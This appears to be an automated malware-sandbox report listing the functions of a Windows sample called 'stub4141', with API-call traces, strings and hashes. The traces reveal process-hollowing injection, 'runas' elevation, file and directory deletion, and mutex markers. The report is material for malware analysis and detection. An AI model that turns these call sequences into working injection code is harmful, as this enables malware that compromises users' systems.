String ID: SOFTWARE\%s${96AB7DDD-2B74-42A2-A5DD-FBD65C971E33}${B7B32D99-D409-4FAB-AF7C-00DEEF51A223}
API String ID: 3057694623-3552568839
Opcode ID: a5f2539a529b19c6728349161587aacef7acfcc18edf0924e0f9ebff9930e21f
Instruction ID: d8b83326acb9a15aa10da48614743dc7f1070133547cfa0ea81ac3564291f348
Opcode Fuzzy Hash: a5f2539a529b19c6728349161587aacef7acfcc18edf0924e0f9ebff9930e21f
Instruction Fuzzy Hash: 31013B75744308FBE710EBA0DD89FAF7368EB45F40F500959B605B61C0E6B5DA40EBA8

Function 020E003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 020E024D

Strings

cess, xrefs: 020E018D
kernel32.dll, xrefs: 020E008F, 020E0095

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: eb0f242f5703443693c8639c26dcadd2eec8494b01d7f8affdc10406fa1bd32a
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 57527A75A01229DFDBA4CF58C984BACBBB1BF09304F1480D9E54EAB351DB70AA85DF14

Function 0041B920 Relevance: 10.6, APIs: 7, Instructions: 62
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0040466B,?,00000000), ref: 0041B93C
GetFileSize.KERNEL32(000000FF,00000000,?,0040466B,?), ref: 0041B951
LocalAlloc.KERNELBASE(00000040,000000FF,?,0040466B), ref: 0041B966
ReadFile.KERNELBASE(000000FF,00000000,000000FF,?,00000000), ref: 0041B987
CloseHandle.KERNELBASE(000000FF), ref: 0041B99D
LocalFree.KERNEL32(00000000), ref: 0041B9B4
CloseHandle.KERNEL32(000000FF,?,0040466B), ref: 0041B9BE

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: File$CloseHandleLocal$AllocCreateFreeReadSize
String ID:
API String ID: 2550598358-0
Opcode ID: 69a8980b8347d6d951463fb5752ee5a9032a3e01335b6fa55c3271b00038ed91
Instruction ID: ae56a2f0e2b7107d4b34f603950256e35cb408c0f9ad5ffcf8c060988e03b1d3
Opcode Fuzzy Hash: 69a8980b8347d6d951463fb5752ee5a9032a3e01335b6fa55c3271b00038ed91
Instruction Fuzzy Hash: 92214DB4A00208FBDB18DFA4D988F9EB774EB48701F208555F715A72D0D774AA45CB98

Function 0041B860 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NW;;;LW),00000001,00000000,00000000), ref: 0041B896
GetSecurityDescriptorSacl.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0041B8B0
SetNamedSecurityInfoW.ADVAPI32(00000000,00000006,00000010,00000000,00000000,00000000,00000000), ref: 0041B8CC
LocalFree.KERNEL32(00000000), ref: 0041B8D9

Strings

S:(ML;;NW;;;LW), xrefs: 0041B891

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Security$Descriptor$ConvertFreeInfoLocalNamedSaclString
String ID: S:(ML;;NW;;;LW)
API String ID: 173816248-495562761
Opcode ID: d8523aed3ebfb92a26e39ed52fe878dce3587bb5d64ee44f21d98e0dd2a3b9f0
Instruction ID: ff7dc71c8d0b9a08aaa0c462161a154720b19fdf242dfca173b29291a91e4b6b
Opcode Fuzzy Hash: d8523aed3ebfb92a26e39ed52fe878dce3587bb5d64ee44f21d98e0dd2a3b9f0
Instruction Fuzzy Hash: 9D01CCB5A40209ABEB10DF90CD99FEFB7B8AB44700F104559E605AA2C0D7B5AA44CFA5

Function 0058A08E Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0058A0B6
Module32First.KERNEL32(00000000,00000224), ref: 0058A0D6

Memory Dump Source

Source File: 0000000C.00000002.2584203663.0000000000589000.00000040.00000020.00020000.00000000.sdmp, Offset: 00589000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_589000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 19306c0e7446cfa294c680deeb02dd3cb16d006f9a3bff34894f2ad523c6864d
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: AAF06231200711ABF7203AF5988DA6A7AE8BF49724F10052AFA42A64C0DAB0EC454B62

Function 020E0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,020E0223,?,?), ref: 020E0E19
SetErrorMode.KERNELBASE(00000000,?,?,020E0223,?,?), ref: 020E0E1E

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 1f3fb47f01235a72a762d1c9d8ab3db6e6df8a0f8847510d0ea92dc2c2c9df9a
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: A7D0123114522877DB413A94DC09BCD7B5CDF05B66F008021FB0DE9180C7B0954046E5

Function 00589D4D Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00589D9E

Memory Dump Source

Source File: 0000000C.00000002.2584203663.0000000000589000.00000040.00000020.00020000.00000000.sdmp, Offset: 00589000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_589000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 59e125ed323b05e112244312053d01465cff0497cfb83959e7da27a8384672fe
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 98112D79A00208EFDB01DF98C989E98BFF5AF48351F158094F948AB362D371EA50DB84

Non-executed Functions

Function 004203D0 Relevance: 89.6, APIs: 48, Strings: 3, Instructions: 351synchronizationCOMMON

Download Yara Rule

APIs

OpenEventW.KERNEL32(00100000,00000000,{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}), ref: 004203E2
OpenMutexW.KERNEL32(00100000,00000000,{BBF173FA-E399-4CBA-82A3-5D53467FFBF2}), ref: 00420411
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 0042048A
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 004204E9
CloseHandle.KERNEL32(00000000), ref: 004208D4
ReleaseMutex.KERNEL32(00000000), ref: 004208EE
CloseHandle.KERNEL32(00000000), ref: 004208F8
CloseHandle.KERNEL32(00000000), ref: 00420908
CloseHandle.KERNEL32(00000000), ref: 00420912

Strings

{BBF173FA-E399-4CBA-82A3-5D53467FFBF2}, xrefs: 00420405
{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}, xrefs: 004203D6
{90B6319D-9313-4BA5-A321-1A3FFC688B8F}, xrefs: 00420441

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$EventMutexOpen$CreateObjectReleaseSingleWait
String ID: {90B6319D-9313-4BA5-A321-1A3FFC688B8F}${BBF173FA-E399-4CBA-82A3-5D53467FFBF2}${FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}
API String ID: 385723476-3031523155
Opcode ID: 1634fea376b43947975fd956b9f18c775330172a3aa1080a6b20eaa34ecc58a1
Instruction ID: 46a24947034da462e5f2a353a45a25c46f5d7a5a28611751e8aeac5b452ccc16
Opcode Fuzzy Hash: 1634fea376b43947975fd956b9f18c775330172a3aa1080a6b20eaa34ecc58a1
Instruction Fuzzy Hash: 07E16370A00215EBEB24DFA4ED8DBAF77B1AB44705F60452AE201A62D1C7B85988CF5D

Function 00402BC0 Relevance: 70.4, APIs: 33, Strings: 7, Instructions: 352stringmemoryencryptionCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000B3C), ref: 00402BD0
lstrcpyW.KERNEL32(00000000,{3337AE66-A672-4FFE-B732-B2846C32EABA}), ref: 00402BF9
lstrcpyW.KERNEL32(-0000009C,{BBF173FA-E399-4CBA-82A3-5D53467FFBF2}), ref: 00402C11
lstrcpyW.KERNEL32(-000000EA,{87F9E838-ADAA-4A84-9DCD-B8776971105C}), ref: 00402C29
lstrcpyW.KERNEL32(-00000138,004828F0), ref: 00402C3F
lstrcpyW.KERNEL32(-000005EA,00482828), ref: 00402C57
lstrcpyW.KERNEL32(-000006B2,004825D0), ref: 00402C6F
lstrcpyW.KERNEL32(-0000090A,{3D14F706-31C3-4642-908F-51E27F5E510B}), ref: 00402C85
_memset.LIBCMT ref: 00402D82
CryptBinaryToStringW.CRYPT32(00000000,00000010,4000000C,00000000,00000000), ref: 00402DA8
LocalFree.KERNEL32(00000000), ref: 0040315D
LocalFree.KERNEL32(00000000), ref: 00403172
CloseHandle.KERNEL32(00000000), ref: 00403182
CloseHandle.KERNEL32(00000000), ref: 00403192

Strings

%s %s, xrefs: 00402FF4
{F0408EAF-6026-476A-AF50-BFCA4663F089}, xrefs: 00402FE8
{87F9E838-ADAA-4A84-9DCD-B8776971105C}, xrefs: 00402C17, 0040300D
{BBF173FA-E399-4CBA-82A3-5D53467FFBF2}, xrefs: 00402BFF
HWID_%s, xrefs: 00402E08
{3337AE66-A672-4FFE-B732-B2846C32EABA}, xrefs: 00402BEE
{3D14F706-31C3-4642-908F-51E27F5E510B}, xrefs: 00402C75

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: lstrcpy$Local$CloseFreeHandle$AllocBinaryCryptString_memset
String ID: %s %s$HWID_%s${3337AE66-A672-4FFE-B732-B2846C32EABA}${3D14F706-31C3-4642-908F-51E27F5E510B}${87F9E838-ADAA-4A84-9DCD-B8776971105C}${BBF173FA-E399-4CBA-82A3-5D53467FFBF2}${F0408EAF-6026-476A-AF50-BFCA4663F089}
API String ID: 2754469768-963301736
Opcode ID: f99397729065a308a3a9c211ec5c77c3ad7518b9ea9f045c088206858fc9ae43
Instruction ID: bc952d9b42b1bd5e3ad1b882d0ab3d57788d12a2ed741164fe204cdcc4a2a6e6
Opcode Fuzzy Hash: f99397729065a308a3a9c211ec5c77c3ad7518b9ea9f045c088206858fc9ae43
Instruction Fuzzy Hash: 99E17C74A00204EFD714DF60ED49BAE77B8EB48701F0049BEE505A62E1D7B8AA45CF9D

Function 00415EF0 Relevance: 68.8, APIs: 38, Strings: 1, Instructions: 529threadsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000), ref: 00415F87
CloseHandle.KERNEL32(00000000), ref: 00415FB9
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00415FD7
CreateThread.KERNEL32(00000000,00000000,Function_000084F0,-00489000,00000004,00000000), ref: 0041600C
ResumeThread.KERNEL32(00000000), ref: 0041604C
CloseHandle.KERNEL32(00000000), ref: 00416065
CloseHandle.KERNEL32(00000000), ref: 0041606F
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004160B9
CloseHandle.KERNEL32(00000000), ref: 004160F1
CloseHandle.KERNEL32(00000000), ref: 00416123
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00416141
CreateThread.KERNEL32(00000000,00000000,Function_000084F0,-00489000,00000004,00000000), ref: 00416175
ResumeThread.KERNEL32(00000000), ref: 004161B5
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 00416278
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0041632A
___crtGetLocaleInfoEx.LIBCMTD ref: 00416347
closesocket.WS2_32(?), ref: 00416353

Strings

d, xrefs: 004163FF

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandle$CreateThread$EventResumesetsockopt$InfoLocaleObjectSingleWait___crtclosesocket
String ID: d
API String ID: 404341171-2564639436
Opcode ID: 2943cfc560b0d10d57ac6101fd7d2b70791d777dbb009e34d35033c87dde5693
Instruction ID: 2ae97253bb05bfbc812ad4341af8a0a7e860ef1dbe59677b9e2f03ecce7bb92b
Opcode Fuzzy Hash: 2943cfc560b0d10d57ac6101fd7d2b70791d777dbb009e34d35033c87dde5693
Instruction Fuzzy Hash: 2C326F70A00104DFDB18DFA4D988BEEBBB1FB44304F25856AE516AF2D1C779D885CB58

Function 00406820 Relevance: 66.7, APIs: 29, Strings: 9, Instructions: 241memorystringprocessCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 00406897
SetEvent.KERNEL32(00000000), ref: 004068E2
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00406916
wnsprintfW.SHLWAPI ref: 0040694C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040695C
lstrcpyW.KERNEL32(00000000,00000000), ref: 00406983
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 004069A9
lstrcpyW.KERNEL32(00000000,{ED5DFF98-D300-4148-A69B-16ABA2527122}), ref: 004069CE
CoInitializeEx.COMBASE(00000000,00000006), ref: 00406A35
ShellExecuteExW.SHELL32(<@@), ref: 00406A48
GetLastError.KERNEL32 ref: 00406A54
CoUninitialize.COMBASE ref: 00406A69
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00406AAA
wnsprintfW.SHLWAPI ref: 00406AE5
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 00406B2C
OpenEventW.KERNEL32(00100002,00000000,{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}), ref: 00406B4D
SetEvent.KERNEL32(00000000), ref: 00406B69
CloseHandle.KERNEL32(00000000), ref: 00406B76
LocalFree.KERNEL32(00000000), ref: 00406B83
LocalFree.KERNEL32(00000000), ref: 00406B90
OpenEventW.KERNEL32(00100002,00000000,{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}), ref: 00406BA4
SetEvent.KERNEL32(00000000), ref: 00406BC0
CloseHandle.KERNEL32(00000000), ref: 00406BCD
LocalFree.KERNEL32(00000000), ref: 00406BDA
LocalFree.KERNEL32(00000000), ref: 00406BE7
LocalFree.KERNEL32(00000000), ref: 00406BF4
LocalFree.KERNEL32(00000000), ref: 00406C01
shutdown.WS2_32(?,00000002), ref: 00406C0D
closesocket.WS2_32(?), ref: 00406C17

Part of subcall function 00405D50: CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00405D81
Part of subcall function 00405D50: GetLastError.KERNEL32 ref: 00405D8C
Part of subcall function 00405D50: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00405DA4
Part of subcall function 00405D50: __snwprintf.LIBCMT ref: 00405DCE
Part of subcall function 00405D50: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00405DF3
Part of subcall function 00405D50: GetLastError.KERNEL32 ref: 00405DFC
Part of subcall function 00405D50: LocalFree.KERNEL32(00000000), ref: 00405E7C
Part of subcall function 00405D50: LocalFree.KERNEL32(00000000), ref: 00405E86

Strings

{ED5DFF98-D300-4148-A69B-16ABA2527122}, xrefs: 004069C2
runas, xrefs: 00406A1D
"%s%s" %s, xrefs: 00406AD4
<@@, xrefs: 00406A41, 00406A47
{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}, xrefs: 00406B41, 00406B98
{85CEBC84-7FEF-4A5E-8D36-DB9B65BD95B9}, xrefs: 00406AC3
@@, xrefs: 004069EF
%s%s, xrefs: 0040693B
D, xrefs: 00406AFF

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$AllocEvent$CreateErrorLast$CloseHandleOpenlstrcpywnsprintf$DirectoryExecuteFileInitializeProcessShellUninitialize__snwprintfclosesocketsetsockoptshutdown
String ID: "%s%s" %s$%s%s$<@@$@@$D$runas${85CEBC84-7FEF-4A5E-8D36-DB9B65BD95B9}${ED5DFF98-D300-4148-A69B-16ABA2527122}${FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}
API String ID: 3249679174-2484454635
Opcode ID: f25272f8438b3f095f9c7ad44aff08dd319f3f82ff3738ba4f590c0e74a84726
Instruction ID: b047cdec76ab4fc40e7fec509d232649212c65d327c287bc693c26c87ef760f3
Opcode Fuzzy Hash: f25272f8438b3f095f9c7ad44aff08dd319f3f82ff3738ba4f590c0e74a84726
Instruction Fuzzy Hash: 93A12FB1900218EFEB24DF60DC49FADB7B4FB48705F1089A9E609B7291D7745A84CF68

Function 004047F0 Relevance: 54.5, APIs: 30, Strings: 1, Instructions: 283nativethreadinjectionCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 004047F9
_memset.LIBCMT ref: 0040480A
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,?,00000044,?), ref: 0040485B
NtCreateSection.NTDLL(00000000,00000006,00000000,?,00000004,08000000,00000000), ref: 00404891
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 004048C5
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 004048D0
_memmove.LIBCMT ref: 004048EF
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 0040491A
NtCreateSection.NTDLL(00000000,0000000E,00000000,?,00000040,08000000,00000000), ref: 00404960
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 004049A0
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 004049AE
_memmove.LIBCMT ref: 004049D0
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 00404A07
_memset.LIBCMT ref: 00404A28
GetThreadContext.KERNEL32(?,00010007), ref: 00404A45
WriteProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 00404A87
SetThreadContext.KERNEL32(?,00010007), ref: 00404AA1
ResumeThread.KERNEL32(?), ref: 00404AB0
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00404AC6
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00404AD4
NtClose.NTDLL(00000000), ref: 00404ADE
NtClose.NTDLL(00000000), ref: 00404AEB
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00404B26
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00404B37
NtClose.NTDLL(00000000), ref: 00404B44
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00404B52
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00404B60
NtClose.NTDLL(00000000), ref: 00404B6A
CloseHandle.KERNEL32(?), ref: 00404B74
CloseHandle.KERNEL32(?), ref: 00404B7E

Strings

D, xrefs: 00404812

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Section$View$CloseUnmap$Process$CreateCurrentThread$ContextHandle_memmove_memset$MemoryResumeWrite
String ID: D
API String ID: 987980044-2746444292
Opcode ID: 443495b93fb11305aee1f032471b724aa667517365b657111845e0bef16c4d61
Instruction ID: 32dabada8d785a6d89fd35b0f06598e538118ca58ed0fe125ed1335d62592fd9
Opcode Fuzzy Hash: 443495b93fb11305aee1f032471b724aa667517365b657111845e0bef16c4d61
Instruction Fuzzy Hash: F0C11BB1A00208AFDB14CFA4CD89F9EB7B8FB48704F208559F609AB291D775AA44CF54

Function 020E4A57 Relevance: 51.0, APIs: 28, Strings: 1, Instructions: 283nativethreadinjectionCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 020E4A60
_memset.LIBCMT ref: 020E4A71
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,?,00000044,?), ref: 020E4AC2
NtCreateSection.NTDLL(00000000,00000006,00000000,?,00000004,08000000,00000000), ref: 020E4AF8
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 020E4B2C
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 020E4B37
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 020E4B81
NtCreateSection.NTDLL(00000000,0000000E,00000000,?,00000040,08000000,00000000), ref: 020E4BC7
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 020E4C07
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 020E4C15
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 020E4C6E
_memset.LIBCMT ref: 020E4C8F
GetThreadContext.KERNEL32(?,00010007), ref: 020E4CAC
WriteProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 020E4CEE
SetThreadContext.KERNEL32(?,00010007), ref: 020E4D08
ResumeThread.KERNEL32(?), ref: 020E4D17
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 020E4D2D
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 020E4D3B
NtClose.NTDLL(00000000), ref: 020E4D45
NtClose.NTDLL(00000000), ref: 020E4D52
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 020E4D8D
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 020E4D9E
NtClose.NTDLL(00000000), ref: 020E4DAB
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 020E4DB9
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 020E4DC7
NtClose.NTDLL(00000000), ref: 020E4DD1
CloseHandle.KERNEL32(?), ref: 020E4DDB
CloseHandle.KERNEL32(?), ref: 020E4DE5

Strings

D, xrefs: 020E4A79

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: Section$View$CloseUnmap$Process$CreateCurrentThread$ContextHandle_memset$MemoryResumeWrite
String ID: D
API String ID: 2033217960-2746444292
Opcode ID: c7b238cf4623a97cd742c3c3a0cd6b7a8b450944976795cc2a897d0c8f41aae6
Instruction ID: 1d6106e0285dda7e65a7711164cbb76f003264d6fcc3fb087e960865da69330e
Opcode Fuzzy Hash: c7b238cf4623a97cd742c3c3a0cd6b7a8b450944976795cc2a897d0c8f41aae6
Instruction Fuzzy Hash: B3C1EDB1900318AFDB14CFA4CD89F9EB7B5FB48704F208558F609AB290D775AA45CF54

Function 0040EC30 Relevance: 45.7, APIs: 22, Strings: 4, Instructions: 175sleepfilestringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040EC5A
_memset.LIBCMT ref: 0040EC79
SHGetKnownFolderPath.SHELL32(00437A98,00000000,00000000,00000000), ref: 0040EC95
lstrlenW.KERNEL32(00000000), ref: 0040ECA3
__snwprintf.LIBCMT ref: 0040ECD6
__snwprintf.LIBCMT ref: 0040ECF6
CoTaskMemFree.COMBASE(00000000), ref: 0040ED0C
_memset.LIBCMT ref: 0040ED39
__snwprintf.LIBCMT ref: 0040ED59
FindFirstFileW.KERNEL32(?,?), ref: 0040ED90
_memset.LIBCMT ref: 0040EDDC
__snwprintf.LIBCMT ref: 0040EE03
DeleteFileW.KERNEL32(?), ref: 0040EE12
FindNextFileW.KERNEL32(000000FF,?), ref: 0040EE26
FindClose.KERNEL32(000000FF), ref: 0040EE3B
Sleep.KERNEL32(00000064), ref: 0040EE4E
GetFileAttributesW.KERNEL32(?), ref: 0040EE69
RemoveDirectoryW.KERNEL32(?), ref: 0040EE7D
Sleep.KERNEL32(00000064), ref: 0040EE8C
GetFileAttributesW.KERNEL32(?), ref: 0040EEA4
RemoveDirectoryW.KERNEL32(?), ref: 0040EEB8
Sleep.KERNEL32(00000064), ref: 0040EEC7

Strings

%s\%s, xrefs: 0040EDF2
\\?\%s , xrefs: 0040ECC5
%s\*.*, xrefs: 0040ED48
%s\System32, xrefs: 0040ECE5

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: File$__snwprintf_memset$FindSleep$AttributesDirectoryRemove$CloseDeleteFirstFolderFreeKnownNextPathTasklstrlen
String ID: %s\%s$%s\*.*$%s\System32$\\?\%s
API String ID: 1835786642-2457321626
Opcode ID: d7a755ac48a43a41b5c532ac3b9ee366d5dd339b0355ac929f1c4d8ce0854963
Instruction ID: afe3d718f50d03a6fa83dd04fcec45c60a18e842a4fcca2d760736fb60ab704b
Opcode Fuzzy Hash: d7a755ac48a43a41b5c532ac3b9ee366d5dd339b0355ac929f1c4d8ce0854963
Instruction Fuzzy Hash: F861D771900218AFDB24DB61DC49BEE7375EF44300F5049E9E215A22C0DBB98F95CF99

Function 0041BE40 Relevance: 40.4, APIs: 20, Strings: 3, Instructions: 144memoryfilestringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 0041BE55
